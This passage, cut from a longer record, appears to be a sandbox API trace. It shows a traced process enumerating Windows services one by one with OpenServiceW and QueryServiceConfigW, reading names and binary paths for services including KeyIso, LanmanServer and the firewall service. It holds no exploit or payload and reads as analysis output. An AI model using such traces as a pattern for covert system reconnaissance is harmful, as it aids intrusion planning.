lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c8a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x54c8a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0027.959] OpenServiceW (hSCManager=0x6637d8, lpServiceName="HomeGroupProvider", dwDesiredAccess=0x1) returned 0x6638c8 [0027.959] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.959] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.960] GetLastError () returned 0x7a [0027.960] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x178, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c8f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0027.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x54c8f0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0027.960] OpenServiceW (hSCManager=0x6637d8, lpServiceName="idsvc", dwDesiredAccess=0x1) returned 0x6639b8 [0027.960] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.960] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.960] GetLastError () returned 0x7a [0027.960] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x15a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x54c938, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="infocard.exe", lpUsedDefaultChar=0x0) returned 12 [0027.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0027.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x54c938, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0027.961] OpenServiceW (hSCManager=0x6637d8, lpServiceName="IKEEXT", dwDesiredAccess=0x1) returned 0x6638a0 [0027.961] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.961] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.961] GetLastError () returned 0x7a [0027.961] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x126, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c980, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x54c980, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0027.962] OpenServiceW (hSCManager=0x6637d8, lpServiceName="IPBusEnum", dwDesiredAccess=0x1) returned 0x663968 [0027.962] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.962] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.962] GetLastError () returned 0x7a [0027.962] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x14c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c9c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x54c9c8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0027.963] OpenServiceW (hSCManager=0x6637d8, lpServiceName="iphlpsvc", dwDesiredAccess=0x1) returned 0x6638c8 [0027.963] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.963] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.963] GetLastError () returned 0x7a [0027.963] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x122, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54ca10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0027.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x54ca10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0027.964] OpenServiceW (hSCManager=0x6637d8, lpServiceName="KeyIso", dwDesiredAccess=0x1) returned 0x6639b8 [0027.964] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.964] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.964] GetLastError () returned 0x7a [0027.964] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0xec, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x54ca58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0027.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0027.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x54ca58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0027.964] OpenServiceW (hSCManager=0x6637d8, lpServiceName="KtmRm", dwDesiredAccess=0x1) returned 0x6638a0 [0027.965] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.965] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.965] GetLastError () returned 0x7a [0027.965] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x19c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54caa0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x54caa0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0028.016] OpenServiceW (hSCManager=0x6637d8, lpServiceName="LanmanServer", dwDesiredAccess=0x1) returned 0x663968 [0028.016] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.016] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.016] GetLastError () returned 0x7a [0028.017] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0xf8, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cae8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x54cae8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0028.017] OpenServiceW (hSCManager=0x6637d8, lpServiceName="LanmanWorkstation", dwDesiredAccess=0x1) returned 0x6638c8 [0028.017] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.017] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.017] GetLastError () returned 0x7a [0028.017] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x174, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cb30, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x54cb30, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0028.018] OpenServiceW (hSCManager=0x6637d8, lpServiceName="lltdsvc", dwDesiredAccess=0x1) returned 0x6639b8 [0028.018] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.018] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.018] GetLastError () returned 0x7a [0028.018] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x160, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cb78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x54cb78, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0028.019] OpenServiceW (hSCManager=0x6637d8, lpServiceName="lmhosts", dwDesiredAccess=0x1) returned 0x6638a0 [0028.019] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.019] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.019] GetLastError () returned 0x7a [0028.019] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x164, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cbc0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x54cbc0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0028.020] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Mcx2Svc", dwDesiredAccess=0x1) returned 0x663968 [0028.020] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.020] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.021] GetLastError () returned 0x7a [0028.021] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x1a8, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cc08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0028.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x54cc08, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0028.021] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x1) returned 0x6638c8 [0028.021] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.021] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.021] GetLastError () returned 0x7a [0028.021] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x184, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="groove.exe", cchWideChar=10, lpMultiByteStr=0x54cc50, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="groove.exe", lpUsedDefaultChar=0x0) returned 10 [0028.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x54cc50, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0028.022] OpenServiceW (hSCManager=0x6637d8, lpServiceName="MMCSS", dwDesiredAccess=0x1) returned 0x6639b8 [0028.022] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.022] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.022] GetLastError () returned 0x7a [0028.022] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x10e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54cc98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x54cc98, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0028.023] OpenServiceW (hSCManager=0x6637d8, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x1) returned 0x6638a0 [0028.023] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.023] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.023] GetLastError () returned 0x7a [0028.023] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x152, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0028.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="maintenanceservice.exe", cchWideChar=22, lpMultiByteStr=0x54cce0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="maintenanceservice.exe", lpUsedDefaultChar=0x0) returned 22 [0028.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x54cce0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 